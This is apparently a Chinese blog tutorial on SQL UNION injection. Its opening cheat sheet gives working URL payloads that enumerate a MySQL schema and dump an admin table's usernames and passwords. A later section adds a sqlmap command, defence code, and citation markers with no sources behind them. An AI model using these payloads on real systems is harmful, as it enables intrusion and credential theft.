Union注入

1.http://*id=31 order by 6 注:若6页面正常,7页面不正常,说明有6个字段

2.http://*id=31 and 1=2 union select 1,2,3,4,5,6 注:定位报错字段,若页面显示3

3.http://*id=31 and 1=2 union select 1,2,database(),4,5,6 from information_schema.tables where table_schema=database()#
注:database()暴出当前库名。from后是mysql默认为名(若是access则自己猜)

http://*id=31 and 1=2 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=0x61706861636B5F64616261# 注:暴出库中表名。最后的十六进制是aphack_data库(这里用十六进制是用来绕过双引号)

http://*id=31 and 1=2 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name=0x61646D696E# 注:暴出表中字段。十六进制是admin表

http://*id=31 and 1=2 union select 1,2,group_concat(ID,0x3a,User,0x3a,Passwd,0x3a,UserName) ,4,5,6 from admin# 注:直接暴出admin表中字段id,user,passwd,username内容。这里0x3a代表“:号”,为了分隔各个字段返回结果

### SQL Union 注入技术示例 SQL Union 注入是一种常见的攻击方式,它利用 `UNION` 运算符将恶意查询附加到原始查询上,从而获取额外的数据。以下是实现此技术的一个具体例子: 假设存在一个易受攻击的 Web 应用程序,其 URL 参数如下所示: ``` http://example.com/page.php?id=1 ``` 如果应用程序未正确验证输入,则可以尝试构造以下 SQL 查询来执行 UNION 攻击。 #### 构造 UNION 查询 ```sql SELECT column1 FROM table WHERE id = 1 UNION SELECT password FROM users; ``` 在这个例子中,攻击者试图通过添加 `UNION SELECT` 子句从另一个表(如 `users` 表)检索数据[^1]。为了成功完成这一操作,需满足以下几个条件: - 原始查询和附加查询返回相同数量的列。 - 列的数据类型兼容。 #### 实际案例分析 考虑下面的情况,其中用户名和密码字段被注入恶意字符串 `' OR '1'='1`[^3]。这可能导致数据库忽略实际的身份验证逻辑并返回所有记录。然而,在更复杂的场景下,攻击者可能需要进一步探索目标系统的结构。 例如,当面对非标准格式的 URL 输入时,工具如 sqlmap 可能不会自动识别潜在漏洞位置[^4]。此时可以通过手动指定测试点解决该问题。 #### 使用 Sqlmap 自动化检测 Sqlmap 是一款强大的自动化渗透测试工具,能够帮助发现多种类型的 SQL 注入缺陷。对于上述提到的复杂路径情况,命令行选项可设置为: ```bash sqlmap -u "http://www.site.com/class_name/strategy/*/*/80" --risk=3 --level=5 ``` 这里星号标记了希望扫描的具体部分。增加风险级别 (`--risk`) 和深入程度 (`--level`) 能够提高探测效率但同时也增加了误报的可能性。 #### 防范措施实例 为了避免遭受此类攻击,推荐采用预编译语句或者存储过程等方式处理动态构建的 SQL 请求[^2]。比如在 Java 中使用 PreparedStatement 类型对象代替常规 String 拼接方法编写数据库交互代码片段。 ```java String query = "SELECT * FROM Users WHERE username=? AND password=?"; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, userInputName); pstmt.setString(2, userInputPassword); ResultSet rs = pstmt.executeQuery(); ``` 这样即使用户提供特殊字符也不会影响最终形成的合法指令串安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值